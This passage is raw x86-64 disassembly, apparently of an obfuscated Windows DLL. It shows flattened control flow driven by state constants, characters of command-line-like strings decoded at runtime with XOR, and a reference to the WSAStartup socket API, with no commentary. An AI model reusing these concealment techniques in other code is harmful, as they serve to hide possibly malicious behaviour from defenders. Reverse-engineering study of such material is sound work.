mov word [rcx + 0xa], dx
add rcx, 0xc
mov qword [rbp + 0x120], rcx
lea rcx, [0x1800dfc2e]
mov qword [rbp + 0x128], rcx
mov edx, 0xe9a7835c
nop dword [rax]
cmp edx, 0x14c55ff4
jle 0x1800634e0
cmp edx, 0x14c55ff5
je 0x18006356b
cmp edx, 0x3d96d30c
jne 0x1800634b0
jmp 0x180063ca5
cmp edx, 0x8bd4e2db
je 0x18006357c
cmp edx, 0xe9a7835c
jne 0x1800634b0
mov rdx, qword [rbp + 0x128]
movzx edx, word [rdx]
mov ebx, 0xd3a0b5ba
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x10c26fb3
je 0x18006359e
cmp ebx, 0xd3a0b5ba
jne 0x180063510
mov ebx, 0x8ba22fa5
nop dword [rax]
cmp ebx, 0x9a654cea
je 0x18006354e
cmp ebx, 0x8ba22fa5
jne 0x180063530
mov qword [rbp + 0x168], rax
mov ebx, 0x9a654cea
jmp 0x180063530
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
xor bx, dx
movzx ebx, bx
mov dword [rbp + 0x150], ebx
mov ebx, 0x10c26fb3
jmp 0x180063510
mov edx, 0x8bd4e2db
mov rcx, qword [rbp + 0x148]
jmp 0x1800634b0
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x140]
mov edx, 0x8bd4e2db
mov ebx, 0x3d96d30c
cmove edx, ebx
jmp 0x1800634b0
mov edx, dword [rbp + 0x150]
mov rbx, qword [rbp + 0x120]
mov word [rbx], dx
mov rdx, qword [rbp + 0x120]
mov ebx, 0xd3a0b5ba
nop word [rax + rax]
cmp ebx, 0x10c26fb3
je 0x180063618
cmp ebx, 0xd3a0b5ba
jne 0x1800635c0
mov ebx, 0x8ba22fa5
nop word cs:[rax + rax]
nop
cmp ebx, 0x9a654cea
je 0x1800635fe
cmp ebx, 0x8ba22fa5
jne 0x1800635e0
mov qword [rbp + 0x168], rax
mov ebx, 0x9a654cea
jmp 0x1800635e0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
xor ebx, 0x42
mov dword [rbp + 0x150], ebx
mov ebx, 0x10c26fb3
jmp 0x1800635c0
mov ebx, dword [rbp + 0x150]
mov word [rdx + 2], bx
add rdx, 4
mov qword [rbp + 0x148], rdx
mov rdx, qword [rbp + 0x138]
add rdx, 0x12
mov qword [rbp + 0x140], rdx
mov edx, 0x14c55ff5
jmp 0x1800634b0
mov cl, byte [rbp + 0x138]
mov edx, dword [rbp + 0x140]
xor dl, cl
mov rcx, qword [rbp + 0x128]
mov byte [rcx], dl
mov edx, 0x35bcbf1d
nop word cs:[rax + rax]
nop
cmp edx, 0x10b60870
jg 0x1800636b0
cmp edx, 0xc6b3254b
je 0x18006373d
cmp edx, 0xf8589f9a
jne 0x180063670
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x140]
mov edx, 0xf8589f9a
mov ebx, 0x10b60871
cmove edx, ebx
jmp 0x180063670
cmp edx, 0x10b60871
je 0x180063caf
cmp edx, 0x35bcbf1d
jne 0x180063670
mov rdx, qword [rbp + 0x128]
mov ebx, 0x2e330328
cmp ebx, 0x20b2de3f
je 0x1800637bd
cmp ebx, 0x2e330328
jne 0x1800636d0
mov dword [rbp + 0x138], 0x75
mov qword [rbp + 0x168], rax
mov ebx, 0x37f3dad5
nop word [rax + rax]
cmp ebx, 0x664a1cb8
je 0x180063727
cmp ebx, 0x37f3dad5
jne 0x180063700
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x150], bl
mov ebx, 0x664a1cb8
jmp 0x180063700
mov bl, byte [rbp + 0x150]
add bl, 3
mov byte [rbp + 0x15c], bl
mov ebx, 0x20b2de3f
jmp 0x1800636d0
movsx ecx, byte [rbp + 0x11c]
mov edx, 0x2e330328
nop dword [rax]
cmp edx, 0x20b2de3f
je 0x18006384d
cmp edx, 0x2e330328
jne 0x180063750
mov dword [rbp + 0x138], ecx
mov qword [rbp + 0x168], rax
mov edx, 0x37f3dad5
nop word cs:[rax + rax]
cmp edx, 0x664a1cb8
je 0x1800637a7
cmp edx, 0x37f3dad5
jne 0x180063780
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x150], dl
mov edx, 0x664a1cb8
jmp 0x180063780
mov dl, byte [rbp + 0x150]
add dl, 8
mov byte [rbp + 0x15c], dl
mov edx, 0x20b2de3f
jmp 0x180063750
mov bl, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rdx + 1], dil
mov ebx, 0x2e330328
nop word cs:[rax + rax]
nop
cmp ebx, 0x20b2de3f
je 0x1800638dd
cmp ebx, 0x2e330328
jne 0x1800637e0
mov dword [rbp + 0x138], 0x69
mov qword [rbp + 0x168], rax
mov ebx, 0x37f3dad5
nop word [rax + rax]
cmp ebx, 0x664a1cb8
je 0x180063837
cmp ebx, 0x37f3dad5
jne 0x180063810
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x150], bl
mov ebx, 0x664a1cb8
jmp 0x180063810
mov bl, byte [rbp + 0x150]
add bl, 4
mov byte [rbp + 0x15c], bl
mov ebx, 0x20b2de3f
jmp 0x1800637e0
mov cl, byte [rbp + 0x15c]
mov edx, dword [rbp + 0x138]
xor dl, cl
mov rcx, qword [rbp + 0x148]
mov byte [rcx], dl
mov rcx, qword [rbp + 0x148]
mov edx, 0x2e330328
cmp edx, 0x20b2de3f
je 0x18006396d
cmp edx, 0x2e330328
jne 0x180063870
mov dword [rbp + 0x138], 0x61
mov qword [rbp + 0x168], rax
mov edx, 0x37f3dad5
nop word [rax + rax]
cmp edx, 0x664a1cb8
je 0x1800638c7
cmp edx, 0x37f3dad5
jne 0x1800638a0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x150], dl
mov edx, 0x664a1cb8
jmp 0x1800638a0
mov dl, byte [rbp + 0x150]
add dl, 9
mov byte [rbp + 0x15c], dl
mov edx, 0x20b2de3f
jmp 0x180063870
mov bl, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rdx + 2], dil
mov ebx, 0x2e330328
nop word cs:[rax + rax]
nop
cmp ebx, 0x20b2de3f
je 0x1800639fd
cmp ebx, 0x2e330328
jne 0x180063900
mov dword [rbp + 0x138], WSAStartup
mov qword [rbp + 0x168], rax
mov ebx, 0x37f3dad5
nop word [rax + rax]
cmp ebx, 0x664a1cb8
je 0x180063957
cmp ebx, 0x37f3dad5
jne 0x180063930
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x150], bl
mov ebx, 0x664a1cb8
jmp 0x180063930
mov bl, byte [rbp + 0x150]
add bl, 5
mov byte [rbp + 0x15c], bl
mov ebx, 0x20b2de3f
jmp 0x180063900
mov dl, byte [rbp + 0x15c]
mov ebx, dword [rbp + 0x138]
xor bl, dl
mov byte [rcx + 1], bl
mov edx, 0x2e330328
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x20b2de3f
je 0x180063a8d
cmp edx, 0x2e330328
jne 0x180063990
mov dword [rbp + 0x138], 0x74
mov qword [rbp + 0x168], rax
mov edx, 0x37f3dad5
nop word [rax + rax]
cmp edx, 0x664a1cb8
je 0x1800639e7
cmp edx, 0x37f3dad5
jne 0x1800639c0
mov rdx, qword [rbp + 0x168]
movzx edx, byte [rdx]
mov byte [rbp + 0x150], dl
mov edx, 0x664a1cb8
jmp 0x1800639c0
mov dl, byte [rbp + 0x150]
add dl, 0xa
mov byte [rbp + 0x15c], dl
mov edx, 0x20b2de3f
jmp 0x180063990
mov bl, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rdx + 3], dil
mov ebx, 0x2e330328
nop word cs:[rax + rax]
nop
cmp ebx, 0x20b2de3f
je 0x180063abe
cmp ebx, 0x2e330328
jne 0x180063a20
mov dword [rbp + 0x138], 0x64
mov qword [rbp + 0x168], rax
mov ebx, 0x37f3dad5
nop word [rax + rax]
cmp ebx, 0x664a1cb8
je 0x180063a77
cmp ebx, 0x37f3dad5
jne 0x180063a50
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x150], bl
mov ebx, 0x664a1cb8
jmp 0x180063a50
mov bl, byte [rbp + 0x150]
add bl, 6
mov byte [rbp + 0x15c], bl
mov ebx, 0x20b2de3f
jmp 0x180063a20
mov dl, byte [rbp + 0x15c]
mov ebx, dword [rbp + 0x138]
xor bl, dl
mov byte [rcx + 2], bl
add rcx, 3
mov rdx, qword [rbp + 0x120]
add rdx, 0xd
mov qword [rbp + 0x140], rdx
mov edx, 0xf8589f9a
jmp 0x180063670
mov bl, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rdx + 4], dil
mov ebx, 0x2e330328
nop word cs:[rax + rax]
cmp ebx, 0x20b2de3f
je 0x180063b4d
cmp ebx, 0x2e330328
jne 0x180063ae0
mov dword [rbp + 0x138], 0x2e
mov qword [rbp + 0x168], rax
mov ebx, 0x37f3dad5
nop word cs:[rax + rax]
cmp ebx, 0x664a1cb8
je 0x180063b37
cmp ebx, 0x37f3dad5
jne 0x180063b10
mov rbx, qword [rbp + 0x168]
movzx ebx, byte [rbx]
mov byte [rbp + 0x150], bl
mov ebx, 0x664a1cb8
jmp 0x180063b10
mov bl, byte [rbp + 0x150]
add bl, 7
mov byte [rbp + 0x15c], bl
mov ebx, 0x20b2de3f
jmp 0x180063ae0
mov bl, byte [rbp + 0x15c]
mov edi, dword [rbp + 0x138]
xor dil, bl
mov byte [rdx + 5], dil
add rdx, 6
mov qword [rbp + 0x148], rdx
mov byte [rbp + 0x11c], 0x62
mov edx, 0xc6b3254b
jmp 0x180063670
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 6], dl
mov dword [rbp + 0x148], 0x65
mov edx, 0xe27ab881
nop word [rax + rax]
cmp edx, 0x132ec055
je 0x180063d2d
cmp edx, 0xe27ab881
jne 0x180063ba0
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180063bde
cmp edx, 0x8831881a
jne 0x180063bc0
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180063bc0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 6
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180063ba0
mov edx, dword [rbp + 0x140]
mov word [rcx + 0xa], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x180063daa
cmp edx, 0x2dfd4f46
jne 0x180063c10
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180063c58
cmp edx, 0x18793e71
jne 0x180063c30
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180063c30
movzx edx, word [rbp + 0x148]
xor edx, 0x61
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180063c10
mov ecx, dword [rbp + 0x148]
add cl, 0x78
mov byte [rax + 2], cl
mov ecx, 0xe0105063
cmp ecx, 0xd290f35a
je 0x180063e1f
cmp ecx, 0xe0105063
jne 0x180063c80
mov dword [rbp + 0x148], 1
mov ecx, 0xd290f35a
jmp 0x180063c80
mov ecx, 0x363f570a
jmp 0x180060a65
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call fcn.180071760
mov edx, 0x400
lea rcx, [rbp + 0x190]
mov r8, rax
call fcn.1800c7d88
add rsp, 0x20
mov rdx, qword [rbp + 0xf8]
sub rsp, 0x20
lea rcx, [rbp + 0x160]
lea r8, [0x1800dfaa0]
call fcn.1800c7c14
add rsp, 0x20
cmp qword [rbp + 0x160], 0
mov ecx, 0xbed3d23a
mov eax, 0x8a45293c
cmove ecx, eax
movabs r9, 0xcbf29ce484222325
movabs r10, 0x100000001b3
mov r11d, 0xed3b0916
jmp 0x180060a65
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 7], dl
mov dword [rbp + 0x148], WSAStartup
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x180063e39
cmp edx, 0xe27ab881
jne 0x180063d50
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180063d8e
cmp edx, 0x8831881a
jne 0x180063d70
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180063d70
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 7
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180063d50
mov edx, dword [rbp + 0x140]
mov word [rcx + 0xc], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x180063eba
cmp edx, 0x2dfd4f46
jne 0x180063dc0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180063e08
cmp edx, 0x18793e71
jne 0x180063de0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180063de0
movzx edx, word [rbp + 0x148]
xor edx, 0x72
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180063dc0
mov ecx, dword [rbp + 0x148]
add cl, 0x57
mov byte [rax + 3], cl
mov byte [rax + 4], 0
mov ecx, 0xed479ec
jmp 0x180060a65
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 8], dl
mov dword [rbp + 0x148], 0x20
mov edx, 0xe27ab881
nop word [rax + rax]
cmp edx, 0x132ec055
je 0x180063f2f
cmp edx, 0xe27ab881
jne 0x180063e60
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180063e9e
cmp edx, 0x8831881a
jne 0x180063e80
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180063e80
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 8
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180063e60
mov edx, dword [rbp + 0x140]
mov word [rcx + 0xe], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x180063faa
cmp edx, 0x2dfd4f46
jne 0x180063ed0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180063f18
cmp edx, 0x18793e71
jne 0x180063ef0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180063ef0
movzx edx, word [rbp + 0x148]
xor edx, 0x65
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180063ed0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 9], dl
mov dword [rbp + 0x148], 0x2f
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x18006401f
cmp edx, 0xe27ab881
jne 0x180063f50
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x180063f8e
cmp edx, 0x8831881a
jne 0x180063f70
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180063f70
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 9
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180063f50
mov edx, dword [rbp + 0x140]
mov word [rcx + 0x10], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x18006409a
cmp edx, 0x2dfd4f46
jne 0x180063fc0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064008
cmp edx, 0x18793e71
jne 0x180063fe0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x180063fe0
movzx edx, word [rbp + 0x148]
xor edx, 0x5c
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180063fc0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0xa], dl
mov dword [rbp + 0x148], 0x46
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x18006410f
cmp edx, 0xe27ab881
jne 0x180064040
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006407e
cmp edx, 0x8831881a
jne 0x180064060
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180064060
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xa
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180064040
mov edx, dword [rbp + 0x140]
mov word [rcx + 0x12], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x18006418a
cmp edx, 0x2dfd4f46
jne 0x1800640b0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800640f8
cmp edx, 0x18793e71
jne 0x1800640d0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x1800640d0
movzx edx, word [rbp + 0x148]
xor edx, 0x6d
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x1800640b0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0xb], dl
mov dword [rbp + 0x148], 0x20
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x1800641ff
cmp edx, 0xe27ab881
jne 0x180064130
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006416e
cmp edx, 0x8831881a
jne 0x180064150
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180064150
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xb
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180064130
mov edx, dword [rbp + 0x140]
mov word [rcx + 0x14], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x18006427a
cmp edx, 0x2dfd4f46
jne 0x1800641a0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800641e8
cmp edx, 0x18793e71
jne 0x1800641c0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x1800641c0
movzx edx, word [rbp + 0x148]
xor edx, 0x69
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x1800641a0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0xc], dl
mov dword [rbp + 0x148], 0x22
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x1800642ef
cmp edx, 0xe27ab881
jne 0x180064220
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006425e
cmp edx, 0x8831881a
jne 0x180064240
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180064240
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xc
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180064220
mov edx, dword [rbp + 0x140]
mov word [rcx + 0x16], dx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x18006436a
cmp edx, 0x2dfd4f46
jne 0x180064290
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800642d8
cmp edx, 0x18793e71
jne 0x1800642b0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe895f03a
jmp 0x1800642b0
movzx edx, word [rbp + 0x148]
xor edx, 0x63
mov dword [rbp + 0x140], edx
mov edx, 0x36642f7
jmp 0x180064290
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0xd], dl
mov dword [rbp + 0x148], 0x25
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x1800643ef
cmp edx, 0xe27ab881
jne 0x180064310
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006434e
cmp edx, 0x8831881a
jne 0x180064330
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180064330
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xd
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180064310
mov edx, dword [rbp + 0x140]
mov word [rcx + 0x18], dx
add rcx, 0x1a
mov qword [rbp + 0x128], rcx
mov ecx, 0x2dfd4f46
nop word cs:[rax + rax]
nop
cmp ecx, 0x36642f7
je 0x18006446a
cmp ecx, 0x2dfd4f46
jne 0x180064390
mov qword [rbp + 0x168], rax
mov ecx, 0x18793e71
cmp ecx, 0xe895f03a
je 0x1800643d8
cmp ecx, 0x18793e71
jne 0x1800643b0
mov rcx, qword [rbp + 0x168]
movzx ecx, word [rcx]
mov word [rbp + 0x148], cx
mov ecx, 0xe895f03a
jmp 0x1800643b0
movzx ecx, word [rbp + 0x148]
xor ecx, 0x72
mov dword [rbp + 0x140], ecx
mov ecx, 0x36642f7
jmp 0x180064390
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0xe], dl
mov dword [rbp + 0x148], reloc.WS2_32.dll_WSAStartup
mov edx, 0xe27ab881
nop dword [rax]
cmp edx, 0x132ec055
je 0x180065349
cmp edx, 0xe27ab881
jne 0x180064410
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x18006444e
cmp edx, 0x8831881a
jne 0x180064430
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180064430
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xe
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180064410
mov ecx, dword [rbp + 0x140]
mov word [rbp + 0x15c], cx
mov edx, 0x1552c45b
nop dword [rax]
cmp edx, 0x484b7e62
jg 0x180064510
cmp edx, 0x1552c45b
je 0x18006454a
cmp edx, 0x3c204d0a
jne 0x180064480
mov rcx, qword [rbp + 0x148]
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x1800645cf
cmp edx, 0x2dfd4f46
jne 0x1800644b0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800644f8
cmp edx, 0x18793e71
jne 0x1800644d0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x1800644d0
movzx edx, word [rbp + 0x150]
xor edx, 0x6f
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x1800644b0
cmp edx, 0x484b7e63
je 0x1800653ca
cmp edx, 0x6e1c89e3
jne 0x180064480
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x140]
mov edx, 0x6e1c89e3
mov ebx, 0x484b7e63
cmove edx, ebx
jmp 0x180064480
mov rdx, qword [rbp + 0x128]
movzx ebx, word [rbp + 0x15c]
mov word [rdx], bx
mov rdx, qword [rbp + 0x128]
mov ebx, 0x2dfd4f46
nop word [rax + rax]
cmp ebx, 0x36642f7
je 0x18006463f
cmp ebx, 0x2dfd4f46
jne 0x180064570
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x1800645b8
cmp ebx, 0x18793e71
jne 0x180064590
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064590
movzx ebx, word [rbp + 0x150]
xor ebx, 0x6f
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064570
mov edx, dword [rbp + 0x138]
mov word [rcx + 2], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x1800646af
cmp edx, 0x2dfd4f46
jne 0x1800645e0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064628
cmp edx, 0x18793e71
jne 0x180064600
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064600
movzx edx, word [rbp + 0x150]
xor edx, 0x77
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x1800645e0
mov ebx, dword [rbp + 0x138]
mov word [rdx + 2], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x18006471f
cmp ebx, 0x2dfd4f46
jne 0x180064650
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064698
cmp ebx, 0x18793e71
jne 0x180064670
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064670
movzx ebx, word [rbp + 0x150]
xor ebx, 0x73
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064650
mov edx, dword [rbp + 0x138]
mov word [rcx + 4], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006478f
cmp edx, 0x2dfd4f46
jne 0x1800646c0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064708
cmp edx, 0x18793e71
jne 0x1800646e0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x1800646e0
movzx edx, word [rbp + 0x150]
xor edx, 0x73
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x1800646c0
mov ebx, dword [rbp + 0x138]
mov word [rdx + 4], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x1800647ff
cmp ebx, 0x2dfd4f46
jne 0x180064730
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064778
cmp ebx, 0x18793e71
jne 0x180064750
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064750
movzx ebx, word [rbp + 0x150]
xor ebx, 0x6f
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064730
mov edx, dword [rbp + 0x138]
mov word [rcx + 6], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006486f
cmp edx, 0x2dfd4f46
jne 0x1800647a0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800647e8
cmp edx, 0x18793e71
jne 0x1800647c0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x1800647c0
movzx edx, word [rbp + 0x150]
xor edx, 0x5c
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x1800647a0
mov ebx, dword [rbp + 0x138]
mov word [rdx + 6], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x1800648df
cmp ebx, 0x2dfd4f46
jne 0x180064810
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064858
cmp ebx, 0x18793e71
jne 0x180064830
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064830
movzx ebx, word [rbp + 0x150]
xor ebx, 0x66
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064810
mov edx, dword [rbp + 0x138]
mov word [rcx + 8], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006494f
cmp edx, 0x2dfd4f46
jne 0x180064880
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800648c8
cmp edx, 0x18793e71
jne 0x1800648a0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x1800648a0
movzx edx, word [rbp + 0x150]
xor edx, 0x63
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064880
mov ebx, dword [rbp + 0x138]
mov word [rdx + 8], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x1800649bf
cmp ebx, 0x2dfd4f46
jne 0x1800648f0
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064938
cmp ebx, 0x18793e71
jne 0x180064910
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064910
movzx ebx, word [rbp + 0x150]
xor ebx, 0x74
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x1800648f0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0xa], dx
mov edx, 0x2dfd4f46
nop
